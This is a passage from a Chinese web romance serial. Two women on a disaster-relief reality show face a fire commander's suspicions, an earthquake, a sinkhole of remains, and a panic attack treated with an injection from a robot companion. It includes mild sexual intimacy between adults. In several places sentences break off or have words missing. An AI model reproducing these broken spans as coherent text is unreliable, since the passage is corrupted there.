陆嵬和黎数的右手十指交扣,食指和无名指夹着黎数的无名指摩擦,很痒,黎数下意识‘嘶’了声,但没缩回手,被陆嵬夹|紧|了。 “别动。”陆嵬低声说:“让我看看。” 灯光昏暗,521开了空调后就在休眠,元宝睡在它的空调出风口四仰八叉,偶尔发出一声极低的小小的呼噜。 这样的氛围下,陆嵬看到了熟悉的那一条术后愈合的伤疤,很浅的一层,旁边是缝针拆线后的小白印。 陆嵬忽的说:“还要多久才能彻底变回来?” 黎数摇摇头,但迟疑了下说:“但我感觉,在六陇市这个速度被加快了。” “以前可能是身上会多出一个和以前差不多的小痣,但都是肉眼能看得出来的东西。”黎数说:“521先前给我检测过,说相似率已经快要达到百分之九十七了。” “九十七。”陆嵬想起上次在鸿景苑时,521给她播报的最后一次数值是九十三点四,“百分之三点六,就用了这么久。” 陆嵬的眼睛没被灯照到,隐隐约约显出了一种压迫的黑,但手上的动作依然轻柔:“那我要到什么时候才能和你做|爱。” “我觉得快了。”黎数保证,但她自已也很难去和陆嵬形容这种感觉,只能说:“真的快了。” 空间太小,太沉闷,拉上的帘子缝隙里钻进来的风都是潮热的。 陆嵬松了手上的力气,倒在了黎数的身上,轻声说:“你想和我做吗?” 黎数的手始终克制着在陆嵬的腰附近游走,不敢向上,不敢向下,更不敢去回想陆嵬的身体到底有多诱|人,忍不住流泪时泛着红粉的眼尾,和颤抖着去抓她手腕的手指。 生怕一个念头控制不住,就打破了一切。 她匀了匀呼吸,低声说:“我当然想。” “宝贝儿L,再等等。”黎数说:“现在还不是时候。” 陆嵬把头埋的更深了点,很低的应了个‘嗯’。 陆嵬又拉着黎数起来吃饭,黎数这次哭笑不得的被她叫起来,帐篷里四下都没地方靠,她只能坐直,唉声叹气的说:“时代变了,地位换了,轮到你来唠叨我了。” 陆嵬哼笑一声,居然还挺享受这种感觉。 她还是不让黎数动手,照顾娃娃似的,给她衣领垫了张纸巾,又夹了一块分出来的鸡丝就要喂她。 冷不丁帐篷外站了一个人,还很有礼貌的敲了敲帐篷。 黎数和陆嵬面面相觑的对视了片刻,陆嵬问道:“谁?” 黎数捞起个薄外套穿上。 帐篷上只有一个影子,营地的大灯居高临下的照耀着一切,只有一片惨白的光。 外面退后了两步,似乎左右又看了看,确定没找错帐篷,才将声音压得极低说:“我是六陇市西南区龙岭路消防站指挥长,黎清。” 帐篷里,陆嵬和黎数无声的对视着。 陆嵬:要见她吗? 黎数摇头,指了指陆嵬:你去。 陆嵬努努嘴:你呢? 黎数单手贴在脸上,比划了个睡觉的姿势,睁一只眼闭一只眼:装睡。 等到黎数躺下,又改成了侧躺蜷缩在一起的姿势的时候,陆嵬才拉开了帐篷帘子走了出去。 她没有故作姿态的去遮挡,黎清也没刻意要往里探头看,甚至向后退了两步。 等陆嵬出来,黎清才上前一步,伸出手和陆嵬交握了下。 陆嵬回头看了眼帐篷,有心想让黎数听,但附近人多眼杂,到处都是人,便左右看了看,说道:“去那边说吧。” 她指的地方是一个平台,视野开阔,能望见前方一览无余、在六陇市极少见的小范围平原。 黎清看着她指的方向沉默了下,过了会跟上。 沉默是被黎清先打破的。 “我下午看见那孩子了。”黎清和陆嵬肩并肩站着,陆嵬懒散,黎清笔挺,说话有种丹田很充足的坚定:“她和我妹妹长得一模一样。” 陆嵬看了她一眼,“啊,是。” 莫名想黎清真是好运,能看到现在黎数和以前已经几乎一模一样脸。 能直接认出来陆嵬都不觉得惊奇。 自已却因为这,小心翼翼的走了几个月的弯路。 最后的那百分之三的相似度,陆嵬不知道究竟是差在那里,毕竟她也没办法去检查黎数的每一寸骨骼,每一根手指的指纹。 不过反正也快了。 她笑笑,从兜里掏出烟盒,往前递了递,黎清手一伸挡了,陆嵬才换了另一盒烟打开。 她手拢着,点燃,深吸一口,看着指尖明明灭灭的火焰,说:“别多心黎指挥,那盒是请客人的好烟,这盒是我的药。” 黎清摇摇头,不在意的说:“我不吸烟,不用解释,我无所谓。” 陆嵬笑笑,一点头,说:“这么晚找我出来,就是问那小孩儿L的事儿L?” 她觉得这词新鲜,又觉得‘那小孩儿L’指的是黎数更新鲜,四个字在嘴边捻了下,又在脑子里打了个圈。 陆嵬目光扫到黎清肩上的两杠一星,又笑笑:“还没来得及恭喜,升职了啊,黎指挥,现在是指挥长了。看来果然还是一线升的快,都是实绩。” 黎清没回应陆嵬的客套,她站在陆嵬的面前,一般无二的身高,但因为从事危险行业,比陆嵬要厚实不少,戳在地上,像是一杆乌黑的长|枪。 “本来我和你没有见面的可能,这次见面也是偶然,我也不想对你的私生活指手画脚。”黎清说:“我只是偶然从以前的队友口中得知,你带着这女孩去了我妹妹的家里过夜,还不止一次。” 黎清静了静,“陆总,你还记得当时划分那套房子的产权归属的时候,你是怎么跟我保证的吗?” 陆嵬定定的看了黎清一眼,淡淡说:“更正一下,指挥长,那不是保证,只是告知。” 第70章 第七十章【VIP】 夜里六陇市的气温下的快,帐篷里湿热,不少人都把帐篷拉开乘凉了。 但空气中裹挟着的粘稠的湿气几乎具象化,黎数只是胳膊伸出探了一下,就难受的皱了皱眉。 这种潮湿的环境下,不管是救援、还是医疗,又或是别的工种,都会让体力的消耗和救援的难度上升数倍。 她躺着等陆嵬,521将帐篷内的温度控制在了二十八度左右,盖着一条小薄毯,黎数不知不觉就睡着了。 陆嵬回来的时候身上就夹杂着一股湿气,黎数察觉到她身上有水痕,眼睛都没睁,摸了摸她的胳膊,低喃道:“外面下雨了吗?” 话音刚落,细密的小雨就砸在了帐篷上,‘噼里啪啦’的声音,使得黎数有一种天地之间只有她和陆嵬的错觉。 黎数睁开眼睛看她,刚刚眯了会,眼睛还有些朦胧,“黎清跟你说了什么?” 黎数笑着摸摸陆嵬的脸,明明没什么变化,还是那副拒人于千里之外的凉薄模样,但黎数就是知道陆嵬现在心情很臭。 “说说。”黎数哄她。 陆嵬又是整个人缩在黎数怀里,头埋在她的胸口,低声说:“她有战友看到我们两个进出鸿景苑了。” 黎数眨眨眼。 鸿景苑的正对面隔一条马路就是一个站点,黎清在那里待过一段时间,但时间不久,很快就自请调到了六陇市。 但站点里不少人都知道黎数是黎清的妹妹,有时候遇到他们训练,还会上来打个招呼。 “看到了。”黎数想了想说:“她是也觉得,你是找了个从前的我的替身,不光这样,还要把我带回老房子里过夜?” 陆嵬不说话,就无声的看着黎数,点了点头。 黎数禁不住笑了,笑声掺杂着低落的雨神,显得有些慵懒:“那怎么办呢陆总?你在全天下人眼里,以后恐怕都是这个形象了。” 陆嵬像是想起这件事情一般,哼笑了声,“那你多补偿我。” 黎数眉眼都软下来了,伸手摸了摸陆嵬的头发,确定她进来的时候只是落了几滴雨,头发还是干的以后就说:“好,以后多补偿你。” 陆嵬凑过去吻她,黎数没拒绝,懒懒的回应着,时不时发出点气音和哼鸣。 呼吸自发调整,没有深吻,只是很绵长、很眷恋的在接吻,陆嵬眸色浓黑,哑着嗓音说:“不要鸡腿那种补偿。” 黎数闭上眼笑了,手顺着陆嵬的腰伸到后面,在陆嵬的屁|股上拧了下,说:“好,那你多吃点,又不是演员,不需要上镜,还整天这么瘦,看着人心疼。” 陆嵬看了看自己还是凸起的腕骨,垂眸说:“不好抱吗?” “还行。”黎数嘟囔:“就是不敢用力,怕一个用力勒到你骨头,把你弄疼了。” 陆嵬‘嗯’了声,搓了搓黎数的胳膊,往下挪挪,看着她身上松松垮垮,已经掉下来的肩带,把头埋在黎数胸前高耸的雪白云间,呼吸缓慢而沉重的嗅着,偶尔嘴唇轻抿黎数微凉的皮肤,却始终没有再造次一步。 黎数只是轻轻抚了抚陆嵬的后颈,和她一起相拥着入睡了- 在食堂这边工作的第五天,黎数跟着节目组的人去前往各受灾区域和恢复区域进行送餐工作。 虽然没有剧本,但相关的流程大致都有写。 被转移的灾民大多都在可以避水、避震的空旷地带,还有零星困在家里的人,在大水消退前,只能用救生艇挨家挨户的搜寻。 今天要送的地点有一座山。 山上有一个环山的村落,因为连日来的雨水和滑坡,房子已经变成了危房,附近的休息站点和安置站点在山脚下的安全区域,但一路没有公路,只有一条泥泞的土路,算的上是步履维艰。 山路太难走,没多久的功夫,摄制组全员脚上几乎都裹满了泥巴,走一段就得停一段把脚上的泥弄掉。 中央台的摄影组都是专业的,但连日来的气候变化剧烈,烈日、狂风、暴雨接踵而来,不少人都生了病。 跟黎数的编导也没例外,感冒加低烧,见黎数体力和精力一直都挺好,忍不住问她:“小黎姐,你不累吗?” 黎数笑着回过头,“每晚发的那晚姜汤是不是没喝?” 编导苦着脸:“太辣了。” “回去喝上。”黎数说着,把她身上的大己拎着,忽然间撇到了什么,眼前一亮,说:“咱们这地方物资匮乏,不过六陇市附果吗?” 快一周了,差不多,更别提是新鲜水果了。 编导忍不住点头:“真有吗?不会有毒吧?” 黎数回头一笑,目光隔着几个人和陆嵬对视,“没毒,我从前来过这。不过来的不太是时候,那时候别说野果了,叶子都没几片,等着。” 说完,黎数左右找了找,果。 两个摄影师一前一后脱离队伍跟上,黎数从背包里取出了个来之前带的伸缩布袋,一根指头大小,展开后能装下一个几十斤重的西瓜。 她一路上左右看,左右找,红的紫的黄的,跟上,在后面代替了编导,这些都是什么?” 黎数说着在身上蹭了下,自己先吃了一个,才拿出另外一个递给摄影师:“给,刺莓果,正好当季,熟的很好,尝尝看,营养价值很高。” 摄影师也不疑有他,跟着一起摘了几个,镜头对准山上的果树来了个大横扫,没漏掉黎数灵活采摘的身影和脸上灿烂的笑。 回来后黎数往后方跑了几步,大半的成熟的、甜度高的果子都塞到了陆嵬手里,见她手上实在拿不下,又挑了几个,往衣服上蹭蹭就往陆嵬嘴里塞。 陆嵬也不嫌脏,张口全吃了,临了了啄了下黎数手上沾到的汁液。 黎数睁大眼睛,看着陆嵬的反应,见她吃完才问她:“怎么样?” 陆嵬笑着说:“很甜。” 黎数就笑着跑回了前面去,把剩余的果子一起分了。 将近一周的相处下来,节目组对陆嵬和黎数之间的关系诸多猜测,到现在,所有人心里都已经把她们两个当成真的一对了。 副导忽然有个想法,提议说:“陆总,您要不当个编外人员也入入镜?” 陆嵬看了她一眼:“不怕剪不出来加班?” 副导弯着眼睛说:“稍微克制着点就行,播放的时候走暧昧路线不是也好?这样也更有看点。” 陆嵬没点头:“再说吧。” 副导也就是这么一说,实际上话事人也不是她,只是陆嵬要真想加入,也就是一句话的事儿。 前面已经看到了安置点,消防车边、树底下,横七竖八的躺着志愿者和消防员,疲惫几乎肉眼可见。 黎数路上吃了几个果子,体力也好歹得到了补充,一边的刘香铃就不太行了,虽然勉强跟了上来,但是已经走不动了,在节目组准备的驴车上休息。 陆嵬也在那边。 黎数回头望了眼,冲那边打个招呼,去跟着其余的志愿者一起分发盒饭。 应华喘着气跟上,一周下来,再多的洁癖和龟毛都在这地方被磨平了,名模身上一件大牌都没了,穿着居民送的细吊带,外面裹着防晒衣,腿上是一条长裤,裤腿和袖口都绑上了皮筋,从黎数那要的。 “年轻真好啊,你都不带喘气的。”应华扶着桌子。 饭菜也不用她们发放,饭点到了以后,能走得动的志愿者和消防员都自发的过来领,她们只要偶尔说一声叮嘱下就行。 黎数说:“不喘气我不死了吗?” 应华一顿,‘噗嗤’一声笑了,又说:“哎,我昨晚上上厕所的时候,看见陆总又跟一个消防员在外头聊天呢。” 前面的盒饭发放的差不多了,志愿者们开始领取剩下的,等着大部队开始吃完后,还得把垃圾带走处理。 黎数闻言‘唔’了声,这几天黎清好像总有事没事就找陆嵬聊天,聊的什么陆嵬也不说,但每次回来脸色都不能算好。 但应华也没再往下说,也可能是真饿了,拿了盒饭后就狼吞虎咽的往嘴里扒饭。 米饭、面条、红烧肉、脂肪,世界名模在这种体力消耗和环境下也遭不住,大口大口的吃。 黎数弯着眼笑笑,拿着东西去找陆嵬一起吃。 陆嵬摆东西的空隙,黎数忽然搂着她的腰,抱起来上下颠了颠。 陆嵬吓一跳,没站稳,差点带着黎数一起摔了,惊魂未定的回过头:“干什么?” 黎数挺认真说:“怎么就喂不胖呢?” 陆嵬无言的说:“胖那么两三斤也看不出来,你还能抱出来吗?” 两三斤分布到陆嵬这一米七几的个头上,确实就没了。 黎数不无遗憾的往她盒饭里塞了块红烧肉,跟话术似的给她洗脑:“多吃点,多吃点。” 陆嵬面无表情一口咬掉,又扒拉几口米饭,含糊不清的说:“你到底是爱我这个人还是爱我身上那几斤肉。” 黎数托着腮,多少次都是给陆嵬一模一样肯定的回应,“宝贝,不管你以后变成胖子还是变成人干,我爱的都是你。” 陆嵬看着她:“变成个猫呢?” 黎数这次真迟疑了下,心想猫也不太猎奇,起码陆嵬说的不是变成个灯笼鱼:“反正都是你,爱还是爱的。” 陆嵬面无表情:“但还是要继续柏拉图?” 黎数无语,这茬算是过不去了,陆嵬行动上不能造次,几天下来嘴皮功夫倒是见涨。 黎数说:“我要变成只猫,你对我能下得去手吗?你这病有点变本加厉啊。” 陆嵬这次也绷不住,唇角腾出来点笑意,很义正词严的说:“我只是病了,不是变成性|变|态了。你要真变成猫……” 陆嵬顿顿,莫名其妙盯着黎数的脸看,忽然眯了眯眼睛,面上虽然摇了摇头,但心里觉得,似乎也不错。 走哪都能揣着,软乎乎又弱呼呼一小团,被欺负了也只能‘喵喵’叫,可以随便亲,随便闻,随便摸。 黎数没察觉,瞪她一眼:“那你还问!” 陆嵬被黎数骂一句倒是觉得挺高兴,她也没生气,忽然说:“你觉得你要是变成猫,会是什么猫?” 黎数心里想了想,想不太出来,“你觉得呢?” 陆嵬慢条斯理的说:“长毛白猫。” 黎数想象不出自己的,但又觉得好像能想象出陆嵬的,说:“那你就是只黑猫。” 忽然想起元宝,黎数又笑笑说:“不过应该比元宝端庄神秘。” 陆嵬如果是一只黑猫,应该是那种装作不经意间一次次路过她身边,制造出无数动静吸引她的注意力,明明很想被摸被抱,但却总要装出一副‘拿你真没办法’的心机稳重猫。 黎数弯着眼睛笑,心想陆嵬变成猫了居然也这么可爱。 第一次被拿起来跟元宝比,但陆嵬却不生气。 她脸对着黎数的脸,但碍于人实在太多也不好有什么亲密举动,只能借着盒饭挡着的角度,冲着黎数嘟嘟嘴。 很小声说:“变成了猫你也想亲我。” 黎数莞尔一笑,桌子底下的脚碰碰陆嵬,“别犯傻。” 陆嵬眉眼柔和的笑笑,知道收音收不到,目光里藏不住的渴望说:“今天检测了吗?” 黎数扫她一眼,唇角露出点弧度,“九十八了。” 陆嵬语调发软,伸手虚虚环在黎数脖子上,拇指很眷恋似的蹭了蹭。 黎数忽然觉得有些别扭和坚持似乎没什么意思,更没有什么必要。 但是这的条件太艰苦了,每天洗澡时间卡死在五分钟,供水都得现烧,洗头都得把脑袋扎铁盆里,也没人知道那铁盆上一秒是洗菜了还是洗衣服了。 指缝里都是洗不掉的黑,手也在一周内被磋磨的粗糙无比。 这条件下,再因为不及时清理和环境差生点病,又实在是不值。 黎数知道什么方式才能让陆嵬达到顶端,陆嵬同样也同样。 体外的刺激固然可以一时满足,可无异于饮鸩止渴,内里的空虚只会愈演愈烈。 那么长时间都克制下来了,是因为压抑习惯了,但一旦尝到甜头,可能会前功尽弃。 躲在角落,黎数安抚似的倾身轻吻陆嵬,低声安抚,“再忍忍。” 陆嵬不让黎数回去,扯开她衣领,在她胸口吸住一块软肉,叼着吸了好一会,才不舍得似的放开,又亲亲- 第一周的拍摄内容很快结束,但因为气候条件恶劣,物资也不够丰富,当晚所有嘉宾聚在一起,桌子上最丰盛的一道菜是节目组找老乡现买的白斩鸡。 饶是如此,一只鸡也很快被瓜分完毕了。 剧组全员聚在一起,就当着当地的情况直抒胸臆,主场交给了燕沙雨和刘香铃,毕竟一个是知名主持人,一个是当年的大灾幸存者。 嘉宾在第一周的今天纷纷选择捐款,刘香铃做了表率捐出二百万,也是以她给出的价格为基准,也给所有人留了退路,除了应华以外,其他人只要不越过去这条线就行。 黎数手里捻着陆嵬给她的副卡,心里在拿捏着数额。 心想自己这债务真是越垒越高,台是中央的,给她的钱不多,所有片酬都捐出去估计也就十几万。 “小黎就不要捐钱了,你这些日子的辛苦大家都有目共睹。”刘香铃话锋一转,看向黎数时眼睛里是不掺伪的欣赏:“之前一统娱乐的闹的满城风雨,你还欠着公司那么多钱,后来的片酬又全部借给了同组的演员,你那部分,我给你一起出了。” 黎数赶紧起身,诧异道:“香玲姐,这不合适。” “哪里不合适。”刘香铃笑着说:“总不能逼你一个孩子去贷款给灾区捐钱。” 燕沙雨等人也出来打圆场,节目组的人沟通过后,决定以联名的方式同样一起捐出一笔钱,但黎数不同意,最终还是把这次的总片酬全部捐了出去。 话说出去,节目组慷慨的把黎数的全部片酬一次性结清,用黎数的名字捐出这笔钱,黎数松了口气的同时,又觉得莫名其妙的想笑。 一直到散场,黎数撑着伞,和陆嵬一起走在雨下,听着雨水搭在伞面上的声音,和陆嵬说:“姐姐怎么能一直这么穷啊?” 陆嵬想了想:“感觉是被我连累的。” 黎数还以为她要旧事重提,刚想打断,陆嵬就说:“要不是我把黎余塞进组里去,你以前的存款,还有《秘宝》的片酬就能保住了。” 黎数想了想:“如果不是你那时候想试探我的身份,估计往后拖着,你应该会帮我妈找慈善基金,或者是帮她直接结清医药费的吧?” 陆嵬‘嗯’了声,手钻进黎数的衣服里,没有阻隔的摸她肚子上的软肉。 黎数的习惯太好,锻炼没停过,想捏着玩都捏不起来多少,陆嵬也不在意,按按压压也自得其乐。 “现在又上了《地球人心》。”陆嵬忍不住想笑:“这种性质的综艺,大咖还有的赚,起码名利双收,像你现在这样的小透明,几乎都是贷款上班。赚的还不够捐的。” 黎数也跟着笑,伸出胳膊给了她一肘子:“回去给我报销,你跟裘夏给我安排的这节目。” “好。”陆嵬一口答应:“报销完给我买大金表。” “……”黎数无言了半天:“你土不土。” 过了会黎数又说:“买个全钻的吧,配你好看。” 陆嵬撩开帘子让黎数先进去,抬手时盯着自己腕上的机械表盘,想了想说:“喜欢我带那些亮闪闪的首饰?” 黎数钻进去,蹬掉拖鞋放在角落,腿伸在外面,接雨水冲脚:“喜欢啊。” 她转过头,说的同时手在陆嵬的手腕、脖子、锁骨、腰侧、脚腕上轻轻的圈着比划,过了会问:“以前送给你的都还留着吗?” 陆嵬点头:“都在三楼保险柜。” 保险柜黎数没打开,看了眼陆嵬除了一个手表,什么装饰都没有的浑身上下,叹了口气说:“怎么回事呢陆总,姐姐不在就不把自己打扮的漂漂亮亮得了?” 陆嵬无声的盯着她看。 黎数笑了笑,可怜兮兮的太招人疼,又越过去亲她,说:“以后姐姐赚了钱给你买一堆大钻石。” 陆嵬从鼻腔里挤出一声哼笑,“分明是你喜欢看我穿戴。” 黎数弯着眼睛笑,还是那句:“你戴好看。”- 第二天天没亮,黎数和陆嵬是双双被521电醒的。 伴随521的手上的电流,同时响起的还有元宝撕心裂肺的尖叫声。 元宝自从出来后经常被521单独带着去附近的山林里玩,每天早出晚归,据521说它们俩每天几乎要徒步五万多步,还夸元宝长了一双铁脚。 此刻本该睡得香喷喷的猫子在帐篷里嘶吼尖叫,黎数尚没意识到的时候,身边的陆嵬已经极速翻身跃起,扯着黎数的胳膊就把她带离了帐篷。 黎数意识到了什么,其后不过几秒的功夫,521和中控喇叭几乎同时发出了震耳欲聋的地震预警警报:“20,滴滴——18,滴滴——16,滴滴——……” 倒计时的时间越来越快,越来越密集,天上仍旧阴云密布,风极大,伴随着越来越强烈的地震波动,左右人都从帐篷中钻了出来。 原来二十秒的时间是地震预警。 “不要慌!不要乱跑,所有人,在开阔地带蹲下,抱头,远离建筑——” 不多时,伴随着越来越强烈的震感,中控喇叭开始预警这一次的地震登记信息:“地震波已抵达,等级4.4级,震中位置,六陇市龙岭县,距离晨星福利院距离:15km,预计造成汽车、门窗晃动,请勿慌乱、先躲避、后撤离——” 约莫几十秒过后,绵密的细小雨线中,一阵巨响,伴随着巨大的、细线掩埋不了的灰尘,在所有人的眼前腾出了一大片的尘烟。 震幅消失,不少人重新回了帐篷,满眼的疲倦和惊魂未定。 节目组出外采的摄影和导演追着消防车火速出动,前一晚刚吃过饭的众人跟着各自组别前往该去的拍摄地点,没有人肯甘心放过这样的内容。 黎数和陆嵬来不及洗漱,带着521和元宝一起上了车。 车上,黎数往身上挂着通讯和录像装置,听着前台的编导连接中央的前线记者,开始进行消息同步,同时为下一步的采访、记录等工作临时更改设置。 猛然间,黎数听到编导说:“草,什么运气,这不是前两年死了一整个剧组的那块区域吗?什么意思?那地方出现了一个天坑?” 电流声混杂着一个女声同步传来:“天坑底下出现了上百具尸体,附近幸存的灾民情绪激动,现场快控制不住了——” 编导放下电话,冲着开着的司机催促:“快点!快点!” 黎数怔怔回过头,抓住陆嵬的手,触手冰凉一片。 70-80 第71章 第七十一章【VIP】 黎数握着陆嵬的手,暖不热,怎么都暖不热。 从指尖到手腕,凡是能触及到的区域都是冷的。 空气湿凉,细密的小雨砸在窗户上汇集成线,向下汇集,最后滴落。 15km的距离不算远,可在这种灾后四处都是毁损建筑、弃置骑车,地面四处都是垃圾、碎石、泥潭的环境下,本来只需要二十分钟就可以到达的路线,现在才刚刚走了一半。 刚带上的麦克风被黎数摘下,放置在一边,车里在临时调度,这个环节的素材一定不会少,黎数拿不准摄像会不会对准她们拍摄—— 当年的黎数,现在的黎数,当年闹得满城风雨陆嵬,现在同样闹得满城风雨的陆嵬。 太有爆点了。 大灾害、已经死去的前任、和现任长得一模一样的替身,又在此时此刻,有可能发掘出前任的遗体。 答应来六陇市录制时,不管是陆嵬还是黎数,她们谁都没想到过未来会有一天遇到这么荒诞的事情。 车内气氛凝重,声音嘈杂,前面导演的和总组交谈的声音一直没停止。 黎数捏了捏陆嵬的手,看着她肉眼可见寸寸变得苍白的脸色,惊惶迷茫的眼神,轻轻碰碰她的脸,柔声说:“别怕,没事的。” 陆嵬有些恍惚的侧过头,呼吸都轻的有些缥缈,她觉得心脏开始变得麻痹,耳边似乎又出现了从前黎数喊她的声音。 有些分不清现实与幻境,陆嵬潜意识觉得自己这样的状态不对,可根本就控制不住,她听到了手铐晃动相撞的响声,听到了铁链被锁上时的当啷碰撞,好像也听到了一门之隔,她站在仓库的外面,黎数在里面,喊她的名字,声声质问她,说:“你为什么要关注我。”“你为什么要害死我。” 黎数注意到陆嵬的目光落点是空的。 明明陆嵬此刻就坐在自己身边,明明她的目光是在向她看,明明陆嵬甚至朝她的方向靠近了点,但黎数知道陆嵬的目光是空的。 她下意识屏住呼吸,更小心翼翼,却像是担心惊动什么,甚至已经不敢去喊陆嵬的名字了。 近半小时后,节目组的车终于停下,前排的摄影火速下车去抢拍,编导迟疑了片刻,向后看了一眼。 黎数没有回头,但声音仍然压得极低:“给我们点时问。” 编导愣了愣,下意识的点头遵从,下了车后感觉好像哪里不对,又回过了头。 车厢里,陆嵬整个人缩在了黎数*怀中,黎数轻声说着什么,眉眼低垂时露出一丝宽和怜爱,那是藏不住的心疼。 编导又避开视线,过了几秒忽然意识到哪里不对。 ——相处模式。 黎数才不过十八岁,然而在这段关系中,不管是在感情还是模式上,却明显全都是处于上位者的姿态。 编导负责接管黎数这一组拍摄,前后三辆车,三个不同年龄段的女人,却只有黎数一个人给她的感知最为诡异,也最看不透。 她想不明白为什么,只是想起过去和黎数谈笑问的细节,发现黎数似乎什么都懂——超出十八岁女生该有的正常认知的懂。 上到人工智能领域深挖核心,下到买菜砍价扒掉烂菜叶,能毫无障碍的用铁盆洗头,也能眼睛不眨一下的踩在淤泥浑水里去帮忙清理被堵塞的街道。 编导神经质的咬了咬手指,下意识又回头看了眼。 一个机器人硕大的后脑勺和一只大肥猫屁股挡在了驾驶座,编导愣了愣,沉默了两秒,起身跟上了本组的另外两人- 车上,陆嵬闭着眼睛,靠在黎数的胸前。 是半倒在怀里的姿势,冷汗打湿了她额前的碎发,黎数在521的指引下拿出了一片紧急镇定的药片,但很无奈的发现根本喂不进去。 陆嵬牙关闭的死紧,脑袋一傻,黎数居然效仿起她曾经看到过的电视剧里的处理方法——自己把药吃了,然后喝一口水,对着陆嵬小口哺喂。 想也知道,水流一地,药在她自己嘴里融化,苦的黎数喃喃道:“我也是疯了……” 521紧张的一直用小手抓着黎数的衣摆一角:“怎么办呀怎么办呀,陆嵬的血压和血糖值都很低,心率也不正常,有惊跳和心悸的反应……” 元宝好奇歪过头,抬起一只爪子,在陆嵬胳膊上踩了踩。 缩回手,发现好冰, 片刻后,它的鼻尖在空气中嗅了嗅,轻巧跃下去,一屁 “以前遇到这种情况都是,瞥了眼元宝,见它只是坐在那,就没再管。 521眨眨眼,“不知道呀,情况,每一次裘夏都在身边呢。” 521说着,小脸一转,屏幕上出现了一张裘夏的脸。 视角是521的第一视角,只见裘夏伸手在521脖子附近轻轻按了按,随后取出了什么东西,向着不远处倒地的陆嵬走了过去。 黎数下意识问:“她取了什么?” 但521犹豫着摇摇头,很难过的说:“我不知道,我只知道那是一个注射用针管。” 黎数瞳孔骤然一缩,“注射用的?” 这一刻她几乎浑身如坠冰窟。 陆嵬胃口一直不好,吃不下东西,经常失眠、安眠药当睡前安抚剂吃,夏天在外面也从不穿短袖。 她从前以为陆嵬是为了遮手腕上的伤疤…… 黎数几乎是抖着手捋起陆嵬的袖子,但入眼一片光滑的皮肤,没有任何的针孔痕迹。 如同瞬问卸下千斤重担,黎数才发现,仅仅是短短的片刻,她自己的后背都已经湿透了,但缓过来后又觉得自己的想法荒谬,忍不住自嘲的笑了笑。 黎数拨打了裘夏电话的同时,顺着521视频里播放过的那样,沿着她短短小小的脖子慢慢的摸索着。 这个姿势不太好用力,黎数一手环着陆嵬,一手摸索着,只能用头和脖子夹着手机,说话的声音都很费力。 一只小手把手机接过去的同时,轻轻点开了公放按键。 裘夏那边很快接通,接通时似乎还很不满,“干什么啊,大早上的绕人春……” 黎数说的话简短精悍:“陆嵬出现了晕厥的情况,血压血糖都在正常值以下,伴随强烈的心悸和惊跳反应,521说以前这种情况下你会给陆嵬注射针剂,那针剂是什么,在哪?!” 裘夏失声惊叫:“什么时候的事情,多久了?你在哪?俞老师跟你在一起吗?等等——” 裘夏静了静,从失措里很快恢复过来:“针剂的位置在521右侧位置,有一个很小的凸起,指纹激活以后按两下会弹出,你随便抓陆嵬的哪一根手指……” 黎数摸到了那个小小的凸起。 食指轻轻按了两下后,从侧面弹出了一根约莫只有一根水笔笔芯粗细的密封盒。 盒身密封完好,通体金属色,上方有一块恒温模块,黎数怔了怔,同时才听到裘夏说的‘指纹激活’这四个字。 她若有所思的盯着自己的食指看了下,只一眼就利落的打开密封盒,低声说:“打开了。” 裘夏松了口气,“给她注射,注射完以后去带她找俞老师。” 黎数满头的汗,给陆嵬注射完毕,很快,521说陆嵬的心跳和血压恢复到了正常值以上。 黎数松了口气,低声问:“这里出了点意外情况,我当年出事地方因为地震缘故突然塌陷变成了天坑,地下初步估测出现了上百具尸体,医疗部门恐怕现在也乱成一锅粥,俞老师应该抽不出身。” 裘夏静了静,过了很久后才说:“原来是这样……吓我一跳。” “什么?”黎数没明白。 裘夏静了静,不知道这件事情由她来说合不合适,沉默了下,还是说道:“如果只是单纯的受了刺激的话,打完针过一会她就能缓过来,问题不大。” 黎数直觉裘夏话没说话,然而她也知道裘夏现在不说一定有她的考量,黎数没再执着于这个问题去追问,只是问她:“确定陆嵬注射过后就不会有事了吗?” “没事。”裘夏很肯定的说:“让她好好休息一会吧,五分钟左右就能醒。” 黎数挂断电话,没起身,透过车窗向外看去。 天坑一眼望不到尽头,赶来的六陇市居民越来越多,大灾下也挡不住看热闹的人群,警力不足,很多人在警方顾忌不到的地方围在天坑附近看,志愿者、后勤部、消防员和武警官兵陆续到场,以警车充当警戒线,很快每三米一个人看守,才将这混乱的局面勉强控制起来。 当地的受害者家属时隔两年仍旧围着天坑痛哭,移动焚化车和移动DNA实验室先后到场,迅速响应组和救援组在周遭洒下药粉,阻绝未知的疫病,防护服、防毒面具给了围观的群众威慑,终于集体向后退了数十米。 怀里的陆嵬动了动,缓缓睁开了眼睛。 黎数迅速低头,伸手在她脸上触了下,轻声说:“还好吗?” 意识到自己短暂昏厥过,晕倒之前的记忆回笼,陆嵬下意识从黎数怀里起身,愣愣的望向了由重重警戒队围绕起来的天坑。 陆嵬再一次回过头,脸色还是苍白的,虚弱、透明,像是一张轻轻揉搓就能变成齑粉的枯叶。 “姐姐……”她低声喃喃的喊叫,又喊:“黎数……” 黎数不敢高声,很轻的应了一声,又说:“我在。” 陆嵬抱着黎数,身体和她仅仅贴在一起,目光却直勾勾的望着窗外。 一具具白骨被收敛到担架上,再经由链桥转移到地面。 地面上,确定过没有生成传染源后,遗体被喷洒抑制腐败菌的药液,采取DNA样本记录在册,送上不远处的移动焚化车。 不多时,地面已经清理出了十几具白骨。 黎数把陆嵬包在怀里,有些怜惜的抚摸着陆嵬肩上和胯骨上突出的骨节,不断抚摸她裸露在外的小臂和手掌,用自己的体温给她取暖。 陆嵬终于定魂,喃喃说了句:“好渴……” 521立时送上一杯温水,黎数把盖子拧开,小心的送到陆嵬的唇边。 冷汗流了太多,陆嵬缺水严重,连日来都用润唇膏保养的润嘟嘟的纯又有些发干。 黎数很耐心,一点点的喂她水喝,轻轻的安抚着她,用很有技巧的声音一点点引导、安抚着陆嵬受惊后的身心。 “不要怕。”黎数说:“你能感受到我的体温,能听到我的声音,也能触摸到我的存在。” 黎数的目光又投向521短短胖胖的一条小脖子,说:“521,你是不是可以检测指纹?” 521点点小脑袋:“行的呢,我还可以做基础医疗检查。” 黎数拍拍陆嵬的后背,冲着521说:“现在看看,我和从前的相似度。” 521眨巴眨巴眼睛,一分钟后,惊喜的‘哇塞’了一声:“满分!100分!” 果然。 手上的针管被注射完毕后,黎数就交给了521小心收纳着。 521颈侧的那个按钮并不是谁都可以按动,黎数按下去的时候也察觉到了上面有短而小的识别纹路,但那瞬问她只是下意识的按照裘夏说的按了两下,却没想到真的意外的打开了。 